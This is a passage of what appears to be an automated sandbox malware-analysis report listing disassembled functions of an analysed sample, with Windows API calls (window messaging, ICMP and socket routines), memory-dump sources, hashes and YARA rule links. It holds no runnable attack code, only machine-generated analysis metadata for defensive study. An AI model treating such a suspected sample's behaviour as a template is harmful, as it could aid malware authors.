                                                                                                                                                  • Opcode ID: 90726ff0006992839abc6d27306098825af4dbfcbad5bf8d3aa395912d22fe36
                                                                                                                                                  • Instruction ID: c96dbd3af6c5a13cf066609db195d3b9a892d089c32e0a7510d993dcc5c4d347
                                                                                                                                                  • Opcode Fuzzy Hash: 90726ff0006992839abc6d27306098825af4dbfcbad5bf8d3aa395912d22fe36
                                                                                                                                                  • Instruction Fuzzy Hash: F1112F351802419BC7208F28D849EA77B71EB8A720F18065DFC4187391EB785893CB59
                                                                                                                                                  Function 0044A37A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetForegroundWindow.USER32(?,?,00454CBD,004A83D8,000000FC,00000000,?,?,004A83D8,?), ref: 0044A37C
                                                                                                                                                  • GetFocus.USER32 ref: 0044A384
                                                                                                                                                  • SendMessageW.USER32(?,000000B0,-000001B0,000001B4), ref: 0044A3F6
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FocusForegroundMessageSendWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 944890605-2594219639
                                                                                                                                                  • Opcode ID: 55901db6c8d2e617757f75f6a9cc8ea1ad95b679d72c4375ee8970e73f0fc9c0
                                                                                                                                                  • Instruction ID: 22bd45665fc9576d9632a8de694c1cf6a1f999350c1115eace43a942eb161fba
                                                                                                                                                  • Opcode Fuzzy Hash: 55901db6c8d2e617757f75f6a9cc8ea1ad95b679d72c4375ee8970e73f0fc9c0
                                                                                                                                                  • Instruction Fuzzy Hash: DF0188345402019BD7209F28D848A6B7B61EB8A724F28466EFC14973E1EB796892CB59
                                                                                                                                                  Function 004560AD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • wsprintfW.USER32 ref: 004560E9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend_mallocwsprintf
                                                                                                                                                  • String ID: %d/%02d/%02d$@U=u
                                                                                                                                                  • API String ID: 1262938277-2764005415
                                                                                                                                                  • Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                  • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                                                                  • Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                  • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                                                                  Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AllocTask_wcslen
                                                                                                                                                  • String ID: hkG
                                                                                                                                                  • API String ID: 2651040394-3610518997
                                                                                                                                                  • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                  • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                  • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                  • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                                                                  Function 004458AB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000000C,00000000,?), ref: 004458CE
                                                                                                                                                  • GetParent.USER32 ref: 004458E6
                                                                                                                                                  • InvalidateRect.USER32(00000000,?,00000000,00000001,?,0000000C,00000000,?,?), ref: 004458ED
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InvalidateMessageParentRectSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 2900238980-2594219639
                                                                                                                                                  • Opcode ID: 4d7c532c504dc4c80913adc0ea12afbd12f0f801165baa50f00b0d341670516b
                                                                                                                                                  • Instruction ID: b13461d1601c32c863b36fdbf58edc9df99dce76e410d4cba050dc2421e30e05
                                                                                                                                                  • Opcode Fuzzy Hash: 4d7c532c504dc4c80913adc0ea12afbd12f0f801165baa50f00b0d341670516b
                                                                                                                                                  • Instruction Fuzzy Hash: 0FF03075204710EBEA20AF649D45F9F77A8AF99700F00480EF981AB291CBB4D885CB69
                                                                                                                                                  Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                  • API String ID: 2574300362-1816364905
                                                                                                                                                  • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                  • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                  • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                  • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                  Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                  • API String ID: 2574300362-58917771
                                                                                                                                                  • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                  • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                  • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                  • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                  Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                  • API String ID: 2574300362-3530519716
                                                                                                                                                  • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                  • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                  • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                  • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                  Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                  • API String ID: 2574300362-275556492
                                                                                                                                                  • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                  • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                  • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                  • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                  Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClearVariant
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1473721057-0
                                                                                                                                                  • Opcode ID: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                                                                                                  • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                  • Opcode Fuzzy Hash: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                                                                                                  • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                  Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __flush.LIBCMT ref: 00414630
                                                                                                                                                  • __fileno.LIBCMT ref: 00414650
                                                                                                                                                  • __locking.LIBCMT ref: 00414657
                                                                                                                                                  • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                    • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                    • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3240763771-0
                                                                                                                                                  • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                  • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                  • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                  • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                  Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                  • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                  • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                  • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CopyVariant$ErrorLast
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2286883814-0
                                                                                                                                                  • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                  • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                  • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                  • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                  Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                                                                  • #21.WSOCK32 ref: 004740E0
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLast$socket
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1881357543-0
                                                                                                                                                  • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                  • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                                                                  • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                  • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                                                                  Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                  • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                  • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1352109105-0
                                                                                                                                                  • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                  • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                  • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                  • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                  Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                  • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3058430110-0
                                                                                                                                                  • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                  • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                  • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
